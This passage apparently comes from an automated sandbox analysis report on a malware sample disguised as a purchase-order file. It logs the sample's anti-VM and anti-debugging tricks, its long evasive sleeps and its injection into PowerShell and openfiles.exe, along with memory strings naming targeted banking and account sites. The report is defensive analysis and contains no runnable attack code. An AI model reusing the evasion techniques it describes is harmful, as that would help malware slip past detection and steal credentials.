Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
Yara detected AntiVM3
Source: Yara match File source: Process Memory Space: PO Copy_7854569.exe PID: 3648, type: MEMORYSTR
Allocates memory with a write watch (potentially for evading sandboxes)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: 16B0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: 31D0000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: 3100000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: 7F80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: 8F80000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: 9230000 memory reserve | memory write watch Jump to behavior
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Memory allocated: A230000 memory reserve | memory write watch Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167096E rdtsc 6_2_0167096E
Contains long sleeps (>= 3 min)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5799 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 2516 Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Window / User API: threadDelayed 9800 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\Desktop\PO Copy_7854569.exe API coverage: 0.7 %
Source: C:\Windows\SysWOW64\openfiles.exe API coverage: 2.6 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\PO Copy_7854569.exe TID: 2212 Thread sleep time: -922337203685477s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 2804 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe TID: 6760 Thread sleep time: -1844674407370954s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 1632 Thread sleep count: 172 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 1632 Thread sleep time: -344000s >= -30000s Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 1632 Thread sleep count: 9800 > 30 Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe TID: 1632 Thread sleep time: -19600000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe TID: 7032 Thread sleep time: -90000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe TID: 7032 Thread sleep count: 36 > 30 Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe TID: 7032 Thread sleep time: -36000s >= -30000s Jump to behavior
Source: C:\Program Files (x86)\WYnqDTcohWTLuYGfHVXqPgPPjvyizBZlKphwPdgHrUSvPXmyFbVimH\sXAKgqpSAiGEzhyDsUSKBxPWz.exe TID: 7032 Thread sleep time: -39000s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\SysWOW64\openfiles.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\openfiles.exe Last function: Thread delayed
Source: C:\Windows\SysWOW64\openfiles.exe Code function: 8_2_0282B880 FindFirstFileW,FindNextFileW,FindClose, 8_2_0282B880
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: HH-71hzM.8.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655x
Source: PO Copy_7854569.exe, 00000000.00000002.1981785201.00000000013B1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}e
Source: HH-71hzM.8.dr Binary or memory string: discord.comVMware20,11696428655f
Source: HH-71hzM.8.dr Binary or memory string: interactivebrokers.co.inVMware20,11696428655d
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - COM.HKVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: global block list test formVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: Canara Transaction PasswordVMware20,11696428655}
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - EU East & CentralVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655^
Source: HH-71hzM.8.dr Binary or memory string: account.microsoft.com/profileVMware20,11696428655u
Source: HH-71hzM.8.dr Binary or memory string: secure.bankofamerica.comVMware20,11696428655|UE
Source: HH-71hzM.8.dr Binary or memory string: www.interactivebrokers.comVMware20,11696428655}
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - GDCDYNVMware20,11696428655p
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - EU WestVMware20,11696428655n
Source: HH-71hzM.8.dr Binary or memory string: outlook.office365.comVMware20,11696428655t
Source: HH-71hzM.8.dr Binary or memory string: microsoft.visualstudio.comVMware20,11696428655x
Source: openfiles.exe, 00000008.00000002.4439171150.0000000002B3A000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: HH-71hzM.8.dr Binary or memory string: Canara Change Transaction PasswordVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: outlook.office.comVMware20,11696428655s
Source: HH-71hzM.8.dr Binary or memory string: www.interactivebrokers.co.inVMware20,11696428655~
Source: HH-71hzM.8.dr Binary or memory string: ms.portal.azure.comVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: AMC password management pageVMware20,11696428655
Source: sXAKgqpSAiGEzhyDsUSKBxPWz.exe, 0000000A.00000002.4440258284.00000000012EF000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll9
Source: HH-71hzM.8.dr Binary or memory string: tasks.office.comVMware20,11696428655o
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - NDCDYNVMware20,11696428655z
Source: HH-71hzM.8.dr Binary or memory string: turbotax.intuit.comVMware20,11696428655t
Source: HH-71hzM.8.dr Binary or memory string: interactivebrokers.comVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - non-EU EuropeVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: dev.azure.comVMware20,11696428655j
Source: HH-71hzM.8.dr Binary or memory string: netportal.hdfcbank.comVMware20,11696428655
Source: HH-71hzM.8.dr Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: HH-71hzM.8.dr Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: HH-71hzM.8.dr Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: HH-71hzM.8.dr Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655
Source: firefox.exe, 0000000D.00000002.2679014947.00000265B9DFC000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllTT
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process information queried: ProcessInformation Jump to behavior
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\openfiles.exe Process queried: DebugPort Jump to behavior
Contains functionality for execution timing, often used to detect debuggers
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0167096E rdtsc 6_2_0167096E
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_00417253 LdrLoadDll, 6_2_00417253
Contains functionality to read the PEB
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704164 mov eax, dword ptr fs:[00000030h] 6_2_01704164
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01704164 mov eax, dword ptr fs:[00000030h] 6_2_01704164
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C4144 mov eax, dword ptr fs:[00000030h] 6_2_016C4144
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C4144 mov eax, dword ptr fs:[00000030h] 6_2_016C4144
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C4144 mov ecx, dword ptr fs:[00000030h] 6_2_016C4144
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C4144 mov eax, dword ptr fs:[00000030h] 6_2_016C4144
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C4144 mov eax, dword ptr fs:[00000030h] 6_2_016C4144
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162C156 mov eax, dword ptr fs:[00000030h] 6_2_0162C156
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C8158 mov eax, dword ptr fs:[00000030h] 6_2_016C8158
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636154 mov eax, dword ptr fs:[00000030h] 6_2_01636154
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01636154 mov eax, dword ptr fs:[00000030h] 6_2_01636154
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01660124 mov eax, dword ptr fs:[00000030h] 6_2_01660124
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov eax, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov ecx, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov eax, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov eax, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov ecx, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov eax, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov eax, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov ecx, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov eax, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DE10E mov ecx, dword ptr fs:[00000030h] 6_2_016DE10E
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DA118 mov ecx, dword ptr fs:[00000030h] 6_2_016DA118
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DA118 mov eax, dword ptr fs:[00000030h] 6_2_016DA118
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DA118 mov eax, dword ptr fs:[00000030h] 6_2_016DA118
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016DA118 mov eax, dword ptr fs:[00000030h] 6_2_016DA118
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F0115 mov eax, dword ptr fs:[00000030h] 6_2_016F0115
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_017061E5 mov eax, dword ptr fs:[00000030h] 6_2_017061E5
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016601F8 mov eax, dword ptr fs:[00000030h] 6_2_016601F8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F61C3 mov eax, dword ptr fs:[00000030h] 6_2_016F61C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F61C3 mov eax, dword ptr fs:[00000030h] 6_2_016F61C3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 6_2_016AE1D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 6_2_016AE1D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE1D0 mov ecx, dword ptr fs:[00000030h] 6_2_016AE1D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 6_2_016AE1D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016AE1D0 mov eax, dword ptr fs:[00000030h] 6_2_016AE1D0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01670185 mov eax, dword ptr fs:[00000030h] 6_2_01670185
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EC188 mov eax, dword ptr fs:[00000030h] 6_2_016EC188
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016EC188 mov eax, dword ptr fs:[00000030h] 6_2_016EC188
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D4180 mov eax, dword ptr fs:[00000030h] 6_2_016D4180
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D4180 mov eax, dword ptr fs:[00000030h] 6_2_016D4180
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B019F mov eax, dword ptr fs:[00000030h] 6_2_016B019F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B019F mov eax, dword ptr fs:[00000030h] 6_2_016B019F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B019F mov eax, dword ptr fs:[00000030h] 6_2_016B019F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B019F mov eax, dword ptr fs:[00000030h] 6_2_016B019F
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162A197 mov eax, dword ptr fs:[00000030h] 6_2_0162A197
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162A197 mov eax, dword ptr fs:[00000030h] 6_2_0162A197
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162A197 mov eax, dword ptr fs:[00000030h] 6_2_0162A197
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0165C073 mov eax, dword ptr fs:[00000030h] 6_2_0165C073
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_01632050 mov eax, dword ptr fs:[00000030h] 6_2_01632050
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B6050 mov eax, dword ptr fs:[00000030h] 6_2_016B6050
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162A020 mov eax, dword ptr fs:[00000030h] 6_2_0162A020
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162C020 mov eax, dword ptr fs:[00000030h] 6_2_0162C020
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C6030 mov eax, dword ptr fs:[00000030h] 6_2_016C6030
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B4000 mov ecx, dword ptr fs:[00000030h] 6_2_016B4000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D2000 mov eax, dword ptr fs:[00000030h] 6_2_016D2000
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E016 mov eax, dword ptr fs:[00000030h] 6_2_0164E016
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E016 mov eax, dword ptr fs:[00000030h] 6_2_0164E016
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E016 mov eax, dword ptr fs:[00000030h] 6_2_0164E016
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0164E016 mov eax, dword ptr fs:[00000030h] 6_2_0164E016
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162A0E3 mov ecx, dword ptr fs:[00000030h] 6_2_0162A0E3
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016380E9 mov eax, dword ptr fs:[00000030h] 6_2_016380E9
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B60E0 mov eax, dword ptr fs:[00000030h] 6_2_016B60E0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0162C0F0 mov eax, dword ptr fs:[00000030h] 6_2_0162C0F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016720F0 mov ecx, dword ptr fs:[00000030h] 6_2_016720F0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B20DE mov eax, dword ptr fs:[00000030h] 6_2_016B20DE
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016280A0 mov eax, dword ptr fs:[00000030h] 6_2_016280A0
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016C80A8 mov eax, dword ptr fs:[00000030h] 6_2_016C80A8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F60B8 mov eax, dword ptr fs:[00000030h] 6_2_016F60B8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016F60B8 mov ecx, dword ptr fs:[00000030h] 6_2_016F60B8
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_0163208A mov eax, dword ptr fs:[00000030h] 6_2_0163208A
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016D437C mov eax, dword ptr fs:[00000030h] 6_2_016D437C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B2349 mov eax, dword ptr fs:[00000030h] 6_2_016B2349
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B035C mov eax, dword ptr fs:[00000030h] 6_2_016B035C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B035C mov eax, dword ptr fs:[00000030h] 6_2_016B035C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B035C mov eax, dword ptr fs:[00000030h] 6_2_016B035C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B035C mov ecx, dword ptr fs:[00000030h] 6_2_016B035C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B035C mov eax, dword ptr fs:[00000030h] 6_2_016B035C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016B035C mov eax, dword ptr fs:[00000030h] 6_2_016B035C
Source: C:\Users\user\Desktop\PO Copy_7854569.exe Code function: 6_2_016FA352 mov eax, dword ptr fs:[00000030h] 6_2_016FA352
